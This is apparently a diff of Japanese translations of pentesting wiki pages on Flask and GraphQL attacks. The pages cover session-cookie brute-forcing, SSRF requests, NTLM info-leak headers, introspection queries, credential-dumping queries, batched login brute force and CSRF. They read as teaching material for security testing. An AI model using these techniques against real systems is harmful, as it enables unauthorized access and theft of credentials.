ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信すると(ホストヘッダーや他の一般的なヘッダーを含む)、**プロキシ**は_**google.com**_に**アクセス**しようとし、**SSRF**を見つけることになります。
|
ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信すると(ホストヘッダーや他の一般的なヘッダーを含む)、**プロキシ**は**_google.com_**に**アクセス**しようとし、**SSRF**を見つけることになります。
|
||||||
|
|
||||||
**NTLM認証 - 情報漏洩**
|
**NTLM認証 - 情報漏洩**
|
||||||
|
|
||||||
認証を要求しているサーバーが**Windows**であるか、**資格情報**(および**ドメイン名**を要求するログイン)を見つけた場合、**情報漏洩**を引き起こすことができます。\
|
認証を要求しているサーバーが**Windows**であるか、**資格情報**(および**ドメイン名**を要求するログイン)を見つけた場合、**情報漏洩**を引き起こすことができます。\
|
||||||
**ヘッダー**を送信します: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報(IISバージョン、Windowsバージョン...)を「WWW-Authenticate」ヘッダー内で応答します。\
|
**ヘッダー**を送信します: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`。**NTLM認証の動作**により、サーバーは内部情報(IISバージョン、Windowsバージョン...)を「WWW-Authenticate」ヘッダー内で応答します。\
|
||||||
この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
|
これを**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
|
||||||
|
|
||||||
**HTTPリダイレクト (CTF)**
|
**HTTPリダイレクト (CTF)**
|
||||||
|
|
||||||
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠されている**ものがあるかもしれません。
|
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠されている**ものがあるかもしれません。
|
||||||
|
|
||||||
### ウェブ脆弱性の確認
|
### ウェブ脆弱性のチェック
|
||||||
|
|
||||||
ウェブアプリケーションの包括的な列挙が行われたので、さまざまな可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります:
|
ウェブアプリケーションの包括的な列挙が行われたので、多くの可能性のある脆弱性をチェックする時が来ました。チェックリストはここにあります:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**おそらく、CTFをプレイしている場合、Flaskアプリケーションは** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**に関連しています。**
|
**おそらく、CTFをプレイしている場合、Flaskアプリケーションは** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**に関連しています。**
|
||||||
|
|
||||||
## Cookies
|
## Cookies
|
||||||
|
|
||||||
@ -14,7 +14,7 @@
|
|||||||
|
|
||||||
#### Manual
|
#### Manual
|
||||||
|
|
||||||
クッキーの最初の部分を最初のピリオドまで取得し、Base64デコードします。
|
クッキーの最初の部分を最初のドットまで取得し、Base64デコードします。
|
||||||
```bash
|
```bash
|
||||||
echo "ImhlbGxvIg" | base64 -d
|
echo "ImhlbGxvIg" | base64 -d
|
||||||
```
|
```
|
||||||
@ -56,13 +56,13 @@ https://github.com/Tagvi/ripsession
|
|||||||
```bash
|
```bash
|
||||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||||
```
|
```
|
||||||
### SQLi in Flask session cookie with SQLmap
|
### FlaskのセッションクッキーにおけるSQLiとSQLmap
|
||||||
|
|
||||||
[**この例**](../../pentesting-web/sql-injection/sqlmap/index.html#eval)では、sqlmapの`eval`オプションを使用して、既知の秘密を使用してFlaskのために**sqlmapペイロードを自動的に署名**します。
|
[**この例**](../../pentesting-web/sql-injection/sqlmap/index.html#eval)では、sqlmapの`eval`オプションを使用して、既知の秘密を用いてFlaskのために**sqlmapペイロードを自動的に署名**します。
|
||||||
|
|
||||||
## Flask Proxy to SSRF
|
## SSRFへのFlaskプロキシ
|
||||||
|
|
||||||
[**この書き込みでは**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)Flaskが「@」という文字で始まるリクエストをどのように許可するかが説明されています。
|
[**この解説**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、Flaskが「@」という文字で始まるリクエストをどのように許可するかが説明されています。
|
||||||
```http
|
```http
|
||||||
GET @/ HTTP/1.1
|
GET @/ HTTP/1.1
|
||||||
Host: target.com
|
Host: target.com
|
||||||
|
@ -4,11 +4,11 @@
|
|||||||
|
|
||||||
## Introduction
|
## Introduction
|
||||||
|
|
||||||
GraphQLは**効率的な代替手段**として**強調されており**、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは**単一のリクエスト**で必要なすべての情報を取得することを可能にします。この簡素化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。
|
GraphQLは**効率的な代替手段**として**強調されており**、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは**単一のリクエスト**で必要なすべての情報を取得できます。この簡素化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。
|
||||||
|
|
||||||
## GraphQLとセキュリティ
|
## GraphQLとセキュリティ
|
||||||
|
|
||||||
GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ脆弱性も現れます。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに対して機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。
|
GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も出現します。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。
|
||||||
|
|
||||||
### ディレクトリブルートフォース攻撃とGraphQL
|
### ディレクトリブルートフォース攻撃とGraphQL
|
||||||
|
|
||||||
@ -23,7 +23,7 @@ GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ
|
|||||||
- `/graphql/api`
|
- `/graphql/api`
|
||||||
- `/graphql/graphql`
|
- `/graphql/graphql`
|
||||||
|
|
||||||
オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査することができます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
|
オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査できます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
|
||||||
|
|
||||||
### フィンガープリンティング
|
### フィンガープリンティング
|
||||||
|
|
||||||
@ -37,11 +37,11 @@ query{__typename}
|
|||||||
```
|
```
|
||||||
### 基本列挙
|
### 基本列挙
|
||||||
|
|
||||||
Graphqlは通常**GET**、**POST**(x-www-form-urlencoded)および**POST**(json)をサポートしています。ただし、セキュリティのためにCSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。
|
Graphqlは通常、**GET**、**POST** (x-www-form-urlencoded) および **POST**(json) をサポートしています。ただし、セキュリティのために、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。
|
||||||
|
|
||||||
#### インストロスペクション
|
#### インストロスペクション
|
||||||
|
|
||||||
スキーマ情報を発見するためにインストロスペクションを使用するには、`__schema`フィールドをクエリします。このフィールドはすべてのクエリのルートタイプで利用可能です。
|
スキーマ情報を発見するためにインストロスペクションを使用するには、`__schema`フィールドをクエリします。このフィールドは、すべてのクエリのルートタイプで利用可能です。
|
||||||
```bash
|
```bash
|
||||||
query={__schema{types{name,fields{name}}}}
|
query={__schema{types{name,fields{name}}}}
|
||||||
```
|
```
|
||||||
@ -65,10 +65,10 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
|
|||||||
```
|
```
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
**インストロスペクションを介してデータベーススキーマを列挙する**
|
**インテロスペクションを介してデータベーススキーマを列挙する**
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> インストロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。
|
> インテロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。
|
||||||
```bash
|
```bash
|
||||||
#Full introspection query
|
#Full introspection query
|
||||||
|
|
||||||
@ -158,7 +158,7 @@ name
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
インラインイントロスペクションクエリ:
|
インラインインスペクションクエリ:
|
||||||
```
|
```
|
||||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||||
```
|
```
|
||||||
@ -193,21 +193,21 @@ query = { hiddenFlags }
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
しかし、この例ではそうしようとすると **エラー** が発生します:
|
しかし、この例ではそうしようとすると、次の **エラー** が発生します:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
どうやら、"_**uid**_" 引数のタイプ _**Int**_ を使用して検索するようです。\
|
どうやら、"_**uid**_" 引数のタイプ _**Int**_ を使用して検索するようです。\
|
||||||
とにかく、[Basic Enumeration](graphql.md#basic-enumeration) セクションでは、必要な情報をすべて表示するクエリが提案されていました:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
とにかく、[Basic Enumeration](graphql.md#basic-enumeration) セクションでは、必要な情報をすべて表示するクエリが提案されていました: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||||
|
|
||||||
そのクエリを実行したときに提供された画像を読むと、"_**user**_" にタイプ _Int_ の **arg** "_**uid**_" があったことがわかります。
|
そのクエリを実行したときに提供された画像を読むと、"_**user**_" にタイプ _Int_ の **arg** "_**uid**_" があることがわかります。
|
||||||
|
|
||||||
したがって、軽い _**uid**_ ブルートフォースを実行したところ、_**uid**=**1** でユーザー名とパスワードが取得されました:\
|
したがって、軽い _**uid**_ ブルートフォースを実行したところ、_**uid**=**1** でユーザー名とパスワードが取得されました:\
|
||||||
`query={user(uid:1){user,password}}`
|
`query={user(uid:1){user,password}}`
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
私は、**パラメータ** "_**user**_" と "_**password**_" を要求できることを **発見** したことに注意してください。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します:
|
注意すべきは、**パラメータ** "_**user**_" と "_**password**_" を要求できることを **発見** したことです。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -215,7 +215,7 @@ query = { hiddenFlags }
|
|||||||
|
|
||||||
**クエリ文字列ダンプトリック(@BinaryShadow\_ に感謝)**
|
**クエリ文字列ダンプトリック(@BinaryShadow\_ に感謝)**
|
||||||
|
|
||||||
文字列タイプで検索できる場合、例えば:`query={theusers(description: ""){username,password}}` とし、**空の文字列**を **検索** すると、すべてのデータが **ダンプ** されます。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。
|
文字列タイプで検索できる場合、例えば: `query={theusers(description: ""){username,password}}` とし、**空の文字列**を **検索** すると、すべてのデータが **ダンプ** されます。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。
|
||||||
|
|
||||||
### 検索
|
### 検索
|
||||||
|
|
||||||
@ -254,7 +254,7 @@ name
|
|||||||
}
|
}
|
||||||
}r
|
}r
|
||||||
```
|
```
|
||||||
または、**エイリアスを使用した複数の異なるオブジェクトの関係**:
|
または**エイリアスを使用した複数の異なるオブジェクトの関係**:
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
johnsMovieList: searchPerson(name: "John Doe") {
|
johnsMovieList: searchPerson(name: "John Doe") {
|
||||||
@ -279,13 +279,13 @@ name
|
|||||||
```
|
```
|
||||||
### Mutations
|
### Mutations
|
||||||
|
|
||||||
**ミューテーションはサーバー側で変更を加えるために使用されます。**
|
**ミューテーションはサーバーサイドで変更を加えるために使用されます。**
|
||||||
|
|
||||||
**イントロスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_"は"_Mutation_"と呼ばれ、"_Mutation_"オブジェクトにはミューテーションの名前(この場合は"_addPerson_"など)が含まれています:
|
**イントロスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_"は"_Mutation_"と呼ばれ、"_Mutation_"オブジェクトにはミューテーションの名前(この場合は"_addPerson_"など)が含まれています:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。
|
このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になったり、映画を持ったりすることができ、データベース内の関係を示します。
|
||||||
|
|
||||||
データベース内に**新しい**映画を**作成する**ためのミューテーションは、次のようになります(この例ではミューテーションは`addMovie`と呼ばれます):
|
データベース内に**新しい**映画を**作成する**ためのミューテーションは、次のようになります(この例ではミューテーションは`addMovie`と呼ばれます):
|
||||||
```javascript
|
```javascript
|
||||||
@ -300,7 +300,7 @@ rating
|
|||||||
```
|
```
|
||||||
**クエリ内で値とデータの型がどのように示されているかに注意してください。**
|
**クエリ内で値とデータの型がどのように示されているかに注意してください。**
|
||||||
|
|
||||||
さらに、データベースは、既存の**友人**や**映画**との関連を持つ**人物**の作成を可能にする`addPerson`という名前の**ミューテーション**操作をサポートしています。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。
|
さらに、データベースは `addPerson` という名前の **mutation** 操作をサポートしており、これにより **persons** の作成と既存の **friends** および **movies** との関連付けが可能になります。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。
|
||||||
```javascript
|
```javascript
|
||||||
mutation {
|
mutation {
|
||||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||||
@ -330,26 +330,26 @@ releaseYear
|
|||||||
```
|
```
|
||||||
### ディレクティブのオーバーロード
|
### ディレクティブのオーバーロード
|
||||||
|
|
||||||
[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)で説明されているように、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。
|
このレポートで説明されている[**脆弱性の一つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。
|
||||||
|
|
||||||
### 1つのAPIリクエストでのバッチブルートフォース
|
### 1つのAPIリクエストでのバッチブルートフォース
|
||||||
|
|
||||||
この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\
|
この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\
|
||||||
**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ処理機能のおかげで、HTTPリクエストごとに1つ以上のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。
|
**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。
|
||||||
|
|
||||||
以下は、**同時に3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です:
|
以下は、**同時に3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。**2番目のミューテーションは正しい認証**データを持ち、レスポンスには正しい認証セッショントークンがあります。
|
レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。**2番目のミューテーションは正しい認証**データを持ち、レスポンスには正しい認証セッショントークンが含まれています。
|
||||||
|
|
||||||
 (1).png>)
|
 (1).png>)
|
||||||
|
|
||||||
## インストロスペクションなしのGraphQL
|
## インストロスペクションなしのGraphQL
|
||||||
|
|
||||||
ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマのほとんどを再構築するのに十分です。
|
ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマの大部分を再構築するのに十分です。
|
||||||
|
|
||||||
さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、**新しいクエリを見るたびに**内部GraphQL**スキーマを構築します**。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、新しいクエリを見るたびに内部のGraphQL**スキーマ**を**構築**します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||||
|
|
||||||
素晴らしい**ワードリスト**は、[**GraphQLエンティティを発見するためにここにあります**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
素晴らしい**ワードリスト**は、[**GraphQLエンティティを発見するためにここにあります**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||||||
|
|
||||||
@ -391,9 +391,9 @@ payload: GQL_CALL,
|
|||||||
ws.send(JSON.stringify(graphqlMsg))
|
ws.send(JSON.stringify(graphqlMsg))
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### **公開されたGraphQL構造の発見**
|
### **露出したGraphQL構造の発見**
|
||||||
|
|
||||||
イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**公開された機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:
|
イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**露出した機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:
|
||||||
```javascript
|
```javascript
|
||||||
Inspect/Sources/"Search all files"
|
Inspect/Sources/"Search all files"
|
||||||
file:* mutation
|
file:* mutation
|
||||||
@ -417,21 +417,21 @@ GraphQLリクエストは通常、Content-Type **`application/json`**を使用
|
|||||||
```javascript
|
```javascript
|
||||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||||
```
|
```
|
||||||
したがって、前述のようなCSRFリクエストは**プレフライトリクエストなしで**送信されるため、CSRFを悪用してGraphQLに**変更**を**加える**ことが可能です。
|
したがって、前述のようなCSRFリクエストは**プレフライトリクエストなしで送信される**ため、CSRFを悪用してGraphQLに**変更**を**加える**ことが可能です。
|
||||||
|
|
||||||
ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。
|
ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。
|
||||||
|
|
||||||
**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。
|
通常、**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも可能であり、GETリクエストではCSRFトークンが検証されない可能性があることに注意してください。
|
||||||
|
|
||||||
また、[**XS-Search**](../../pentesting-web/xs-search/) **攻撃**を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。
|
また、[**XS-Search**](../../pentesting-web/xs-search/index.html) **攻撃**を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。
|
||||||
|
|
||||||
詳細については、[**こちらの元の投稿を確認してください**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。
|
詳細については、[**こちらの元の投稿を確認してください**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。
|
||||||
|
|
||||||
## GraphQLにおけるクロスサイトWebSocketハイジャック
|
## GraphQLにおけるクロスサイトWebSocketハイジャック
|
||||||
|
|
||||||
GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能です**。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。
|
GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能です**。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。
|
||||||
|
|
||||||
詳細については、確認してください:
|
詳細については、以下を確認してください:
|
||||||
|
